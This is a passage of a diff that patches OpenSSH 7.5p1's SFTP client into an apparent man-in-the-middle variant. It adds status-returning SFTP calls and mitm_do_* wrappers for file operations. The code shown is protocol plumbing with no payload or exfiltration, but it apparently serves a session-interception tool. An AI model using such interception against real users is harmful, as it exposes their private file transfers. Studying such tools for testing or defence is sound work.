- sshbuf_free(msg);
- return(NULL);
- } else if (type != SSH2_FXP_ATTRS) {
- @@ -322,7 +325,7 @@
- static int
- get_decode_statvfs(struct sftp_conn *conn, struct sftp_statvfs *st,
- - u_int expected_id, int quiet)
- + u_int expected_id, int quiet, u_int *status)
- {
- struct sshbuf *msg;
- u_char type;
- @@ -342,14 +345,12 @@
- if (id != expected_id)
- fatal("ID mismatch (%u != %u)", id, expected_id);
- if (type == SSH2_FXP_STATUS) {
- - u_int status;
- -
- - if ((r = sshbuf_get_u32(msg, &status)) != 0)
- + if ((r = sshbuf_get_u32(msg, status)) != 0)
- fatal("%s: buffer error: %s", __func__, ssh_err(r));
- if (quiet)
- - debug("Couldn't statvfs: %s", fx2txt(status));
- + debug("Couldn't statvfs: %s", fx2txt(*status));
- else
- - error("Couldn't statvfs: %s", fx2txt(status));
- + error("Couldn't statvfs: %s", fx2txt(*status));
- sshbuf_free(msg);
- return -1;
- } else if (type != SSH2_FXP_EXTENDED_REPLY) {
- @@ -523,7 +524,7 @@
- u_int count, id, i, expected_id, ents = 0;
- size_t handle_len;
- u_char type, *handle;
- - int status = SSH2_FX_FAILURE;
- + int status = SSH2_FX_FAILURE, status_ret;
- int r;
- if (dir)
- @@ -539,7 +540,7 @@
- fatal("%s: buffer error: %s", __func__, ssh_err(r));
- send_msg(conn, msg);
- - handle = get_handle(conn, id, &handle_len,
- + handle = get_handle(conn, id, &status_ret, &handle_len,
- "remote readdir(\"%s\")", path);
- if (handle == NULL) {
- sshbuf_free(msg);
- @@ -730,7 +731,7 @@
- }
- Attrib *
- -do_stat(struct sftp_conn *conn, const char *path, int quiet)
- +do_stat(struct sftp_conn *conn, const char *path, int quiet, u_int *status)
- {
- u_int id;
- @@ -740,11 +741,11 @@
- conn->version == 0 ? SSH2_FXP_STAT_VERSION_0 : SSH2_FXP_STAT,
- path, strlen(path));
- - return(get_decode_stat(conn, id, quiet));
- + return(get_decode_stat(conn, id, quiet, status));
- }
- Attrib *
- -do_lstat(struct sftp_conn *conn, const char *path, int quiet)
- +do_lstat(struct sftp_conn *conn, const char *path, int quiet, u_int *status)
- {
- u_int id;
- @@ -753,20 +754,20 @@
- debug("Server version does not support lstat operation");
- else
- logit("Server version does not support lstat operation");
- - return(do_stat(conn, path, quiet));
- + return(do_stat(conn, path, quiet, status));
- }
- id = conn->msg_id++;
- send_string_request(conn, id, SSH2_FXP_LSTAT, path,
- strlen(path));
- - return(get_decode_stat(conn, id, quiet));
- + return(get_decode_stat(conn, id, quiet, status));
- }
- #ifdef notyet
- Attrib *
- do_fstat(struct sftp_conn *conn, const u_char *handle, u_int handle_len,
- - int quiet)
- + int quiet, u_int *status)
- {
- u_int id;
- @@ -774,7 +775,7 @@
- send_string_request(conn, id, SSH2_FXP_FSTAT, handle,
- handle_len);
- - return(get_decode_stat(conn, id, quiet));
- + return(get_decode_stat(conn, id, quiet, status));
- }
- #endif
- @@ -813,7 +814,7 @@
- }
- char *
- -do_realpath(struct sftp_conn *conn, const char *path)
- +do_realpath(struct sftp_conn *conn, const char *path, u_int *status)
- {
- struct sshbuf *msg;
- u_int expected_id, count, id;
- @@ -838,11 +839,9 @@
- fatal("ID mismatch (%u != %u)", id, expected_id);
- if (type == SSH2_FXP_STATUS) {
- - u_int status;
- -
- - if ((r = sshbuf_get_u32(msg, &status)) != 0)
- + if ((r = sshbuf_get_u32(msg, status)) != 0)
- fatal("%s: buffer error: %s", __func__, ssh_err(r));
- - error("Couldn't canonicalize: %s", fx2txt(status));
- + error("Couldn't canonicalize: %s", fx2txt(*status));
- sshbuf_free(msg);
- return NULL;
- } else if (type != SSH2_FXP_NAME)
- @@ -865,7 +864,7 @@
- free(longname);
- sshbuf_free(msg);
- -
- + *status = SSH2_FX_OK;
- return(filename);
- }
- @@ -1076,6 +1075,7 @@
- struct sshbuf *msg;
- u_int id;
- int r;
- + u_int status;
- if ((conn->exts & SFTP_EXT_STATVFS) == 0) {
- error("Server does not support statvfs@openssh.com extension");
- @@ -1095,7 +1095,7 @@
- send_msg(conn, msg);
- sshbuf_free(msg);
- - return get_decode_statvfs(conn, st, id, quiet);
- + return get_decode_statvfs(conn, st, id, quiet, &status);
- }
- #ifdef notyet
- @@ -1105,6 +1105,7 @@
- {
- struct sshbuf *msg;
- u_int id;
- + u_int status;
- if ((conn->exts & SFTP_EXT_FSTATVFS) == 0) {
- error("Server does not support fstatvfs@openssh.com extension");
- @@ -1124,7 +1125,7 @@
- send_msg(conn, msg);
- sshbuf_free(msg);
- - return get_decode_statvfs(conn, st, id, quiet);
- + return get_decode_statvfs(conn, st, id, quiet, &status);
- }
- #endif
- @@ -1172,10 +1173,11 @@
- TAILQ_HEAD(reqhead, request) requests;
- struct request *req;
- u_char type;
- + u_int status_ret;
- TAILQ_INIT(&requests);
- - if (a == NULL && (a = do_stat(conn, remote_path, 0)) == NULL)
- + if (a == NULL && (a = do_stat(conn, remote_path, 0, &status_ret)) == NULL)
- return -1;
- /* Do not preserve set[ug]id here, as we do not preserve ownership */
- @@ -1212,7 +1214,7 @@
- send_msg(conn, msg);
- debug3("Sent message SSH2_FXP_OPEN I:%u P:%s", id, remote_path);
- - handle = get_handle(conn, id, &handle_len,
- + handle = get_handle(conn, id, &status_ret, &handle_len,
- "remote open(\"%s\")", remote_path);
- if (handle == NULL) {
- sshbuf_free(msg);
- @@ -1453,6 +1455,7 @@
- SFTP_DIRENT **dir_entries;
- char *filename, *new_src, *new_dst;
- mode_t mode = 0777;
- + u_int status_ret;
- if (depth >= MAX_DIR_DEPTH) {
- error("Maximum directory depth exceeded: %d levels", depth);
- @@ -1460,7 +1463,7 @@
- }
- if (dirattrib == NULL &&
- - (dirattrib = do_stat(conn, src, 1)) == NULL) {
- + (dirattrib = do_stat(conn, src, 1, &status_ret)) == NULL) {
- error("Unable to stat remote directory \"%s\"", src);
- return -1;
- }
- @@ -1543,8 +1546,9 @@
- {
- char *src_canon;
- int ret;
- + u_int status;
- - if ((src_canon = do_realpath(conn, src)) == NULL) {
- + if ((src_canon = do_realpath(conn, src, &status)) == NULL) {
- error("Unable to canonicalize path \"%s\"", src);
- return -1;
- }
- @@ -1579,6 +1583,7 @@
- TAILQ_HEAD(ackhead, outstanding_ack) acks;
- struct outstanding_ack *ack = NULL;
- size_t handle_len;
- + int status_ret;
- TAILQ_INIT(&acks);
- @@ -1607,8 +1612,9 @@
- a.flags &= ~SSH2_FILEXFER_ATTR_ACMODTIME;
- if (resume) {
- + u_int status_ret2;
- /* Get remote file size if it exists */
- - if ((c = do_stat(conn, remote_path, 0)) == NULL) {
- + if ((c = do_stat(conn, remote_path, 0, &status_ret2)) == NULL) {
- close(local_fd);
- return -1;
- }
- @@ -1643,7 +1649,7 @@
- sshbuf_reset(msg);
- - handle = get_handle(conn, id, &handle_len,
- + handle = get_handle(conn, id, &status_ret, &handle_len,
- "remote open(\"%s\")", remote_path);
- if (handle == NULL) {
- close(local_fd);
- @@ -1818,7 +1824,8 @@
- * the path already existed and is a directory.
- */
- if (do_mkdir(conn, dst, &a, 0) != 0) {
- - if ((dirattrib = do_stat(conn, dst, 0)) == NULL)
- + u_int status_ret;
- + if ((dirattrib = do_stat(conn, dst, 0, &status_ret)) == NULL)
- return -1;
- if (!S_ISDIR(dirattrib->perm)) {
- error("\"%s\" exists but is not a directory", dst);
- @@ -1876,8 +1883,9 @@
- {
- char *dst_canon;
- int ret;
- + u_int status;
- - if ((dst_canon = do_realpath(conn, dst)) == NULL) {
- + if ((dst_canon = do_realpath(conn, dst, &status)) == NULL) {
- error("Unable to canonicalize path \"%s\"", dst);
- return -1;
- }
- @@ -1904,3 +1912,534 @@
- return(ret);
- }
- +/* Returns the directory handle, which must be free()'ed by the caller. */
- +u_char *
- +mitm_do_opendir(struct sftp_conn *conn, const char *path, size_t *handle_len, int *status)
- +{
- + struct sshbuf *msg;
- + u_int id;
- + u_char *handle;
- + int r;
- +
- + id = conn->msg_id++;
- +
- + if ((msg = sshbuf_new()) == NULL)
- + fatal("%s: sshbuf_new failed", __func__);
- + if ((r = sshbuf_put_u8(msg, SSH2_FXP_OPENDIR)) != 0 ||
- + (r = sshbuf_put_u32(msg, id)) != 0 ||
- + (r = sshbuf_put_cstring(msg, path)) != 0)
- + fatal("%s: buffer error: %s", __func__, ssh_err(r));
- + send_msg(conn, msg);
- +
- + handle = get_handle(conn, id, status, handle_len,
- + "remote opendir(\"%s\")", path);
- + sshbuf_free(msg); msg = NULL;
- + return handle;
- +}
- +
- +Stat *
- +mitm_do_readdir(struct sftp_conn *conn, u_int32_t id, u_char *handle_str, size_t handle_len, u_int *count, int *status) {
- + struct sshbuf *msg;
- + Stat *ret;
- + int r;
- + u_char type;
- + u_int i;
- +
- + if ((msg = sshbuf_new()) == NULL)
- + fatal("%s: sshbuf_new failed", __func__);
- +
- + if ((r = sshbuf_put_u8(msg, SSH2_FXP_READDIR)) != 0 ||
- + (r = sshbuf_put_u32(msg, id)) != 0 ||
- + (r = sshbuf_put_string(msg, handle_str, handle_len)) != 0)
- + fatal("%s: buffer error: %s", __func__, ssh_err(r));
- +
- + send_msg(conn, msg);
- + sshbuf_reset(msg);
- + get_msg(conn, msg);
- + if ((r = sshbuf_get_u8(msg, &type)) != 0 ||
- + (r = sshbuf_get_u32(msg, &id)) != 0)
- + fatal("%s: buffer error: %s", __func__, ssh_err(r));
- +
- + debug3("Received reply T:%u I:%u", type, id);
- +
- + if (type == SSH2_FXP_STATUS) {
- + u_int rstatus;
- +
- + if ((r = sshbuf_get_u32(msg, &rstatus)) != 0)
- + fatal("%s: buffer error: %s",
- + __func__, ssh_err(r));
- + debug3("Received SSH2_FXP_STATUS %d", rstatus);
- +
- + sshbuf_free(msg); msg = NULL;
- + *status = rstatus;
- + return NULL;
- + } else if (type != SSH2_FXP_NAME)
- + fatal("Expected SSH2_FXP_NAME(%u) packet, got %u",
- + SSH2_FXP_NAME, type);
- +
- + if ((r = sshbuf_get_u32(msg, count)) != 0)
- + fatal("%s: buffer error: %s", __func__, ssh_err(r));
- + if (*count > SSHBUF_SIZE_MAX)
- + fatal("%s: nonsensical number of entries", __func__);
- + if (*count == 0) {
- + sshbuf_free(msg); msg = NULL;
- + *status = SSH2_FX_EOF;
- + return NULL;
- + }
- +
- + debug3("Received %d SSH2_FXP_NAME responses", *count);
- +
- + ret = xcalloc(*count, sizeof(Stat));
- +
- + for (i = 0; i < *count; i++) {
- + char *name, *long_name;
- + Attrib a;
- +
- + if ((r = sshbuf_get_cstring(msg, &name, NULL)) != 0 ||
- + (r = sshbuf_get_cstring(msg, &long_name, NULL)) != 0)
- + fatal("%s: buffer error: %s", __func__, ssh_err(r));
- + if ((r = decode_attrib(msg, &a)) != 0) {
- + free(name); name = NULL;
- + free(long_name); long_name = NULL;
- + sshbuf_free(msg); msg = NULL;
- + *status = SSH2_FX_FAILURE;
- + return NULL;
- + }
- + ret[i].name = name;
- + ret[i].long_name = long_name;
- + ret[i].attrib = a;
- + }
- +
- + sshbuf_free(msg); msg = NULL;
- + return ret;
- +}
- +
- +u_int
- +mitm_do_close(struct sftp_conn *conn, const u_char *handle, u_int handle_len)
- +{
- + u_int id;
- + struct sshbuf *msg;
- + int r;
- +
- + if ((msg = sshbuf_new()) == NULL)
- + fatal("%s: sshbuf_new failed", __func__);
- +
- + id = conn->msg_id++;
- + if ((r = sshbuf_put_u8(msg, SSH2_FXP_CLOSE)) != 0 ||
- + (r = sshbuf_put_u32(msg, id)) != 0 ||
- + (r = sshbuf_put_string(msg, handle, handle_len)) != 0)
- + fatal("%s: buffer error: %s", __func__, ssh_err(r));
- + send_msg(conn, msg);
- + sshbuf_free(msg); msg = NULL;
- +
- + debug3("Sent message SSH2_FXP_CLOSE I:%u", id);
- + return get_status(conn, id);
- +}
- +
- +u_int
- +mitm_do_mkdir(struct sftp_conn *conn, const char *path, Attrib *a)
- +{
- + u_int id;
- +
- + id = conn->msg_id++;
- + send_string_attrs_request(conn, id, SSH2_FXP_MKDIR, path, strlen(path), a);
- + return get_status(conn, id);
- +}
- +
- +u_int
- +mitm_do_rmdir(struct sftp_conn *conn, const char *path)
- +{
- + u_int id;
- +
- + id = conn->msg_id++;
- + send_string_request(conn, id, SSH2_FXP_RMDIR, path, strlen(path));
- + return get_status(conn, id);
- +}
- +
- +u_int
- +mitm_do_rm(struct sftp_conn *conn, const char *path)
- +{
- + u_int id;
- +
- + id = conn->msg_id++;
- + send_string_request(conn, id, SSH2_FXP_REMOVE, path, strlen(path));
- + return get_status(conn, id);
- +}
- +
- +u_int
- +mitm_do_rename(struct sftp_conn *conn, const char *oldpath, const char *newpath, int force_legacy)
- +{
- + struct sshbuf *msg;
- + u_int id;
- + int r, use_ext = (conn->exts & SFTP_EXT_POSIX_RENAME) && !force_legacy;
- +
- + if ((msg = sshbuf_new()) == NULL)
- + fatal("%s: sshbuf_new failed", __func__);
- +
- + /* Send rename request */
- + id = conn->msg_id++;
- + if (use_ext) {
- + if ((r = sshbuf_put_u8(msg, SSH2_FXP_EXTENDED)) != 0 ||
- + (r = sshbuf_put_u32(msg, id)) != 0 ||
- + (r = sshbuf_put_cstring(msg,
- + "posix-rename@openssh.com")) != 0)
- + fatal("%s: buffer error: %s", __func__, ssh_err(r));
- + } else {
- + if ((r = sshbuf_put_u8(msg, SSH2_FXP_RENAME)) != 0 ||
- + (r = sshbuf_put_u32(msg, id)) != 0)
- + fatal("%s: buffer error: %s", __func__, ssh_err(r));
- + }
- + if ((r = sshbuf_put_cstring(msg, oldpath)) != 0 ||
- + (r = sshbuf_put_cstring(msg, newpath)) != 0)
- + fatal("%s: buffer error: %s", __func__, ssh_err(r));
- + send_msg(conn, msg);
- + debug3("Sent message %s \"%s\" -> \"%s\"",
- + use_ext ? "posix-rename@openssh.com" :
- + "SSH2_FXP_RENAME", oldpath, newpath);
- + sshbuf_free(msg); msg = NULL;
- +
- + return get_status(conn, id);
- +}
- +
- +u_int
- +mitm_do_setstat(struct sftp_conn *conn, const char *path, Attrib *a)
- +{
- + u_int id = conn->msg_id++;
- + send_string_attrs_request(conn, id, SSH2_FXP_SETSTAT, path, strlen(path), a);
- + return get_status(conn, id);
- +}
- +
- +u_int
- +mitm_do_fsetstat(struct sftp_conn *conn, const u_char *handle, u_int handle_len, Attrib *a)
- +{
- + u_int id = conn->msg_id++;
- + send_string_attrs_request(conn, id, SSH2_FXP_FSETSTAT, handle, handle_len, a);
- + return get_status(conn, id);
- +}
- +
- +Attrib *
- +mitm_do_fstat(struct sftp_conn *conn, const u_char *handle, u_int handle_len, int quiet, u_int *status)
- +{
- + u_int id = conn->msg_id++;
- + send_string_request(conn, id, SSH2_FXP_FSTAT, handle, handle_len);
- + return(get_decode_stat(conn, id, quiet, status));
- +}
- +
- +/* Returns 1 on success, with "filename", "longname", and "a" args set to the values obtained, or 0 on failure, with "status" arg set. */
- +int
- +mitm_do_readlink(struct sftp_conn *conn, const char *path, u_int *status, char **filename, char **longname, Attrib *a)
- +{
- + struct sshbuf *msg;
- + u_int expected_id, count, id;
- + u_char type;
- + int r;
- +
- + expected_id = id = conn->msg_id++;
- + send_string_request(conn, id, SSH2_FXP_READLINK, path, strlen(path));
- +
- + if ((msg = sshbuf_new()) == NULL)
- + fatal("%s: sshbuf_new failed", __func__);
- +
- + get_msg(conn, msg);
- + if ((r = sshbuf_get_u8(msg, &type)) != 0 ||
- + (r = sshbuf_get_u32(msg, &id)) != 0)
- + fatal("%s: buffer error: %s", __func__, ssh_err(r));
- +
- + if (id != expected_id)
- + fatal("ID mismatch (%u != %u)", id, expected_id);
- +
- + if (type == SSH2_FXP_STATUS) {
- + if ((r = sshbuf_get_u32(msg, status)) != 0)
- + fatal("%s: buffer error: %s", __func__, ssh_err(r));
- + sshbuf_free(msg); msg = NULL;
- + return 0;
- + } else if (type != SSH2_FXP_NAME)
- + fatal("Expected SSH2_FXP_NAME(%u) packet, got %u",
- + SSH2_FXP_NAME, type);
- +
- + if ((r = sshbuf_get_u32(msg, &count)) != 0)
- + fatal("%s: buffer error: %s", __func__, ssh_err(r));
- + if (count != 1)
- + fatal("Got multiple names (%d) from SSH_FXP_READLINK", count);
- +
- + if ((r = sshbuf_get_cstring(msg, filename, NULL)) != 0 ||
- + (r = sshbuf_get_cstring(msg, longname, NULL)) != 0 ||
- + (r = decode_attrib(msg, a)) != 0)
- + fatal("%s: buffer error: %s", __func__, ssh_err(r));
- +
- + debug3("SSH_FXP_READLINK %s -> %s", path, *filename);
- + sshbuf_free(msg); msg = NULL;
- + return 1;
- +}
- +
- +u_int
- +mitm_do_symlink(struct sftp_conn *conn, const char *oldpath, const char *newpath)
- +{
- + struct sshbuf *msg;
- + u_int id;
- + int r;
- +
- + if (conn->version < 3)
- + return SSH2_FX_OP_UNSUPPORTED;
- +
- + if ((msg = sshbuf_new()) == NULL)
- + fatal("%s: sshbuf_new failed", __func__);
- +
- + /* Send symlink request */
- + id = conn->msg_id++;
- + if ((r = sshbuf_put_u8(msg, SSH2_FXP_SYMLINK)) != 0 ||
- + (r = sshbuf_put_u32(msg, id)) != 0 ||
- + (r = sshbuf_put_cstring(msg, oldpath)) != 0 ||
- + (r = sshbuf_put_cstring(msg, newpath)) != 0)
- + fatal("%s: buffer error: %s", __func__, ssh_err(r));
- + send_msg(conn, msg);
- + debug3("Sent message SSH2_FXP_SYMLINK \"%s\" -> \"%s\"", oldpath,
- + newpath);
- + sshbuf_free(msg); msg = NULL;
- +
- + return get_status(conn, id);
- +}
- +
- +int
- +mitm_do_statvfs(struct sftp_conn *conn, const char *path, struct statvfs *st, u_int *status)
- +{
- + struct sshbuf *msg;
- + u_int id;
- + int r;
- + struct sftp_statvfs sftp_st;
- +
- + if ((conn->exts & SFTP_EXT_STATVFS) == 0)
- + return SSH2_FX_OP_UNSUPPORTED;
- +
- + id = conn->msg_id++;
- +
- + if ((msg = sshbuf_new()) == NULL)
- + fatal("%s: sshbuf_new failed", __func__);
- + sshbuf_reset(msg);
- + if ((r = sshbuf_put_u8(msg, SSH2_FXP_EXTENDED)) != 0 ||
- + (r = sshbuf_put_u32(msg, id)) != 0 ||
- + (r = sshbuf_put_cstring(msg, "statvfs@openssh.com")) != 0 ||
- + (r = sshbuf_put_cstring(msg, path)) != 0)
- + fatal("%s: buffer error: %s", __func__, ssh_err(r));
- + send_msg(conn, msg);
- + sshbuf_free(msg); msg = NULL;
- +
- + if (get_decode_statvfs(conn, &sftp_st, id, 1, status) == -1)
- + return -1;
- +
- + st->f_bsize = sftp_st.f_bsize;
- + st->f_frsize = sftp_st.f_frsize;
- + st->f_blocks = sftp_st.f_blocks;
- + st->f_bfree = sftp_st.f_bfree;
- + st->f_bavail = sftp_st.f_bavail;
- + st->f_files = sftp_st.f_files;
- + st->f_ffree = sftp_st.f_ffree;
- + st->f_favail = sftp_st.f_favail;
- + st->f_fsid = sftp_st.f_fsid;
- + st->f_flag = sftp_st.f_flag;
- + st->f_namemax = sftp_st.f_namemax;
- + return 1;
- +}
- +
- +int
- +mitm_do_fstatvfs(struct sftp_conn *conn, const u_char *handle, size_t handle_len, struct statvfs *st, u_int *status)
- +{
- + struct sshbuf *msg;
- + int r;
- + u_int id;
- + struct sftp_statvfs sftp_st;
- +
- + if ((conn->exts & SFTP_EXT_FSTATVFS) == 0)
- + return SSH2_FX_OP_UNSUPPORTED;
- +
- + id = conn->msg_id++;
- +
- + if ((msg = sshbuf_new()) == NULL)
- + fatal("%s: sshbuf_new failed", __func__);
- + sshbuf_reset(msg);
- + if ((r = sshbuf_put_u8(msg, SSH2_FXP_EXTENDED)) != 0 ||
- + (r = sshbuf_put_u32(msg, id)) != 0 ||
- + (r = sshbuf_put_cstring(msg, "fstatvfs@openssh.com")) != 0 ||
- + (r = sshbuf_put_string(msg, handle, (u_int)handle_len)) != 0)
- + fatal("%s: buffer error: %s", __func__, ssh_err(r));
- + send_msg(conn, msg);
- + sshbuf_free(msg); msg = NULL;
- +
- + if (get_decode_statvfs(conn, &sftp_st, id, 1, status) == -1)
- + return -1;
- +
- + st->f_bsize = sftp_st.f_bsize;
- + st->f_frsize = sftp_st.f_frsize;
- + st->f_blocks = sftp_st.f_blocks;
- + st->f_bfree = sftp_st.f_bfree;
- + st->f_bavail = sftp_st.f_bavail;
- + st->f_files = sftp_st.f_files;
- + st->f_ffree = sftp_st.f_ffree;
- + st->f_favail = sftp_st.f_favail;
- + st->f_fsid = sftp_st.f_fsid;
- + st->f_flag = sftp_st.f_flag;
- + st->f_namemax = sftp_st.f_namemax;
- + return 1;
- +}
- +
- +u_int
- +mitm_do_hardlink(struct sftp_conn *conn, const char *oldpath, const char *newpath)
- +{
- + struct sshbuf *msg;
- + u_int id;
- + int r;
- +
- + if ((conn->exts & SFTP_EXT_HARDLINK) == 0)
- + return SSH2_FX_OP_UNSUPPORTED;
- +
- + if ((msg = sshbuf_new()) == NULL)
- + fatal("%s: sshbuf_new failed", __func__);
- +
- + /* Send link request */
- + id = conn->msg_id++;
- + if ((r = sshbuf_put_u8(msg, SSH2_FXP_EXTENDED)) != 0 ||
- + (r = sshbuf_put_u32(msg, id)) != 0 ||
- + (r = sshbuf_put_cstring(msg, "hardlink@openssh.com")) != 0 ||
- + (r = sshbuf_put_cstring(msg, oldpath)) != 0 ||
- + (r = sshbuf_put_cstring(msg, newpath)) != 0)
- + fatal("%s: buffer error: %s", __func__, ssh_err(r));
- + send_msg(conn, msg);
- + debug3("Sent message hardlink@openssh.com \"%s\" -> \"%s\"",
- + oldpath, newpath);
- + sshbuf_free(msg); msg = NULL;
- +
- + return get_status(conn, id);
- +}
- +
- +u_int
- +mitm_do_fsync(struct sftp_conn *conn, u_char *handle, size_t handle_len)
- +{
- + struct sshbuf *msg;
- + u_int id;
- + int r;
- +
- + /* Silently return if the extension is not supported */
- + if ((conn->exts & SFTP_EXT_FSYNC) == 0)
- + return SSH2_FX_OP_UNSUPPORTED;
- +
- + /* Send fsync request */
- + if ((msg = sshbuf_new()) == NULL)
- + fatal("%s: sshbuf_new failed", __func__);
- + id = conn->msg_id++;
- + if ((r = sshbuf_put_u8(msg, SSH2_FXP_EXTENDED)) != 0 ||
- + (r = sshbuf_put_u32(msg, id)) != 0 ||
- + (r = sshbuf_put_cstring(msg, "fsync@openssh.com")) != 0 ||
- + (r = sshbuf_put_string(msg, handle, (u_int)handle_len)) != 0)
- + fatal("%s: buffer error: %s", __func__, ssh_err(r));
- + send_msg(conn, msg);
- + debug3("Sent message fsync@openssh.com I:%u", id);
- + sshbuf_free(msg); msg = NULL;
- +
- + return get_status(conn, id);
- +}
- +
- +/* Returns the handle on success (which must be free()'ed by the caller) and sets the "handle_len" arg, or NULL. On failure, the "status" arg is set. */
- +u_char *
- +mitm_do_open(struct sftp_conn *conn, char *remote_path, u_int32_t pflags, Attrib *a, size_t *handle_len, u_int *status) {
- + u_char *handle = NULL;
- + struct sshbuf *msg;
- + u_int id;
- + int r;
- +
- + if ((msg = sshbuf_new()) == NULL)
- + fatal("%s: sshbuf_new failed", __func__);
- + id = conn->msg_id++;
- + if ((r = sshbuf_put_u8(msg, SSH2_FXP_OPEN)) != 0 ||
- + (r = sshbuf_put_u32(msg, id)) != 0 ||
- + (r = sshbuf_put_cstring(msg, remote_path)) != 0 ||
- + (r = sshbuf_put_u32(msg, pflags)) != 0 ||
- + (r = encode_attrib(msg, a)) != 0)
- + fatal("%s: buffer error: %s", __func__, ssh_err(r));
- + send_msg(conn, msg);
- + debug3("Sent message SSH2_FXP_OPEN I:%u P:%s", id, remote_path);
- +
- + handle = get_handle(conn, id, status, handle_len, "remote open(\"%s\")", remote_path);
- + sshbuf_free(msg); msg = NULL;
- + return handle;
- +}
- +
- +/* Returns a pointer to a char buffer of read data on success (which must be free()'ed by the caller) with the "read_len" argument set with the number bytes returned, or NULL on failure with the "status" arg set accordingly. */
- +u_char *
- +mitm_do_read(struct sftp_conn *conn, const u_char *handle, u_int handle_len, u_int64_t offset, u_int32_t read_len, size_t *ret_len, u_int *status) {
- + struct sshbuf *msg;
- + int r;
- + u_int id;
- + u_char type;
- + u_char *ret = NULL;
- +
- + if ((msg = sshbuf_new()) == NULL)
- + fatal("%s: sshbuf_new failed", __func__);
- +
- + id = conn->msg_id++;
- + if ((r = sshbuf_put_u8(msg, SSH2_FXP_READ)) != 0 ||
- + (r = sshbuf_put_u32(msg, id)) != 0 ||
- + (r = sshbuf_put_string(msg, handle, handle_len)) != 0 ||
- + (r = sshbuf_put_u64(msg, offset)) != 0 ||
- + (r = sshbuf_put_u32(msg, read_len)) != 0)
- + fatal("%s: buffer error: %s", __func__, ssh_err(r));
- +
- + send_msg(conn, msg);
- + sshbuf_reset(msg);
- + get_msg(conn, msg);
- +
- + if ((r = sshbuf_get_u8(msg, &type)) != 0 ||
- + (r = sshbuf_get_u32(msg, &id)) != 0)
- + fatal("%s: buffer error: %s", __func__, ssh_err(r));
- +
- + if (type == SSH2_FXP_STATUS) {
- + if ((r = sshbuf_get_u32(msg, status)) != 0)
- + fatal("%s: buffer error: %s", __func__, ssh_err(r));
- + sshbuf_free(msg); msg = NULL;
- + *ret_len = 0;
- + return NULL;
- + } else if (type == SSH2_FXP_DATA) {
- + if ((r = sshbuf_get_string(msg, &ret, ret_len)) != 0)
- + fatal("%s: buffer error: %s", __func__, ssh_err(r));
- + } else
- + fatal("%s: unexpected type received: %u", __func__, type);
- +
- + sshbuf_free(msg); msg = NULL;
- + return ret;
- +}
- +
- +u_int
- +mitm_do_write(struct sftp_conn *conn, const u_char *handle, u_int handle_len, u_int64_t offset, u_char *buf, u_int buf_len) {
- + struct sshbuf *msg;
- + int r;
- + u_int id;
- + u_char type;
- + u_int status = 0;
- +
- + if ((msg = sshbuf_new()) == NULL)
- + fatal("%s: sshbuf_new failed", __func__);
- +
- + id = conn->msg_id++;
- + if ((r = sshbuf_put_u8(msg, SSH2_FXP_WRITE)) != 0 ||
- + (r = sshbuf_put_u32(msg, id)) != 0 ||
- + (r = sshbuf_put_string(msg, handle, handle_len)) != 0 ||
- + (r = sshbuf_put_u64(msg, offset)) != 0 ||
- + (r = sshbuf_put_string(msg, buf, buf_len)) != 0)
- + fatal("%s: buffer error: %s", __func__, ssh_err(r));
- +
- + send_msg(conn, msg);
- + sshbuf_reset(msg);
- + get_msg(conn, msg);
- +
- + if ((r = sshbuf_get_u8(msg, &type)) != 0 ||
- + (r = sshbuf_get_u32(msg, &id)) != 0)
- + fatal("%s: buffer error: %s", __func__, ssh_err(r));
- +
- + if (type != SSH2_FXP_STATUS)
- + fatal("Expected SSH2_FXP_STATUS(%d) packet, got %d", SSH2_FXP_STATUS, type);
- +
- + if ((r = sshbuf_get_u32(msg, &status)) != 0)
- + fatal("%s: buffer error: %s", __func__, ssh_err(r));
- +
- + sshbuf_free(msg); msg = NULL;
- + return status;
- +}
- diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/sftp-client.h openssh-7.5p1-mitm/sftp-client.h
- --- openssh-7.5p1/sftp-client.h 2017-03-19 22:39:27.000000000 -0400
- +++ openssh-7.5p1-mitm/sftp-client.h 2018-06-12 17:44:46.345760658 -0400
- @@ -21,6 +21,9 @@
- #ifndef _SFTP_CLIENT_H
- #define _SFTP_CLIENT_H
- +#include <sys/statvfs.h>
- +#include "misc.h"
- +
- #ifdef USE_SYSTEM_GLOB
- # include <glob.h>
- #else
- @@ -53,6 +56,23 @@
- u_int64_t f_namemax;
- };
- +struct sftp_conn {
- + int fd_in;
- + int fd_out;
- + u_int transfer_buflen;
- + u_int num_requests;
- + u_int version;
- + u_int msg_id;
- +#define SFTP_EXT_POSIX_RENAME 0x00000001
- +#define SFTP_EXT_STATVFS 0x00000002
- +#define SFTP_EXT_FSTATVFS 0x00000004
- +#define SFTP_EXT_HARDLINK 0x00000008
- +#define SFTP_EXT_FSYNC 0x00000010
- + u_int exts;
- + u_int64_t limit_kbps;
- + struct bwlimit bwlimit_in, bwlimit_out;
- +};
- +
- /*
- * Initialise a SSH filexfer connection. Returns NULL on error or
- * a pointer to a initialized sftp_conn struct on success.
- @@ -80,10 +100,10 @@
- int do_rmdir(struct sftp_conn *, const char *);
- /* Get file attributes of 'path' (follows symlinks) */
- -Attrib *do_stat(struct sftp_conn *, const char *, int);
- +Attrib *do_stat(struct sftp_conn *, const char *, int, u_int *);
- /* Get file attributes of 'path' (does not follow symlinks) */
- -Attrib *do_lstat(struct sftp_conn *, const char *, int);
- +Attrib *do_lstat(struct sftp_conn *, const char *, int, u_int *);
- /* Set file attributes of 'path' */
- int do_setstat(struct sftp_conn *, const char *, Attrib *);
- @@ -92,7 +112,7 @@
- int do_fsetstat(struct sftp_conn *, const u_char *, u_int, Attrib *);
- /* Canonicalise 'path' - caller must free result */
- -char *do_realpath(struct sftp_conn *, const char *);
- +char *do_realpath(struct sftp_conn *, const char *, u_int *);
- /* Get statistics for filesystem hosting file at "path" */
- int do_statvfs(struct sftp_conn *, const char *, struct sftp_statvfs *, int);
- @@ -139,4 +159,42 @@
- /* Concatenate paths, taking care of slashes. Caller must free result. */
- char *path_append(const char *, const char *);
- +u_int mitm_do_close(struct sftp_conn *conn, const u_char *handle, u_int handle_len);
- +
- +u_int mitm_do_fsetstat(struct sftp_conn *conn, const u_char *handle, u_int handle_len, Attrib *a);
- +
- +Attrib *mitm_do_fstat(struct sftp_conn *conn, const u_char *handle, u_int handle_len, int quiet, u_int *status);
- +
- +int mitm_do_fstatvfs(struct sftp_conn *conn, const u_char *handle, size_t handle_len, struct statvfs *st, u_int *status);
- +
- +u_int mitm_do_fsync(struct sftp_conn *conn, u_char *handle, size_t handle_len);
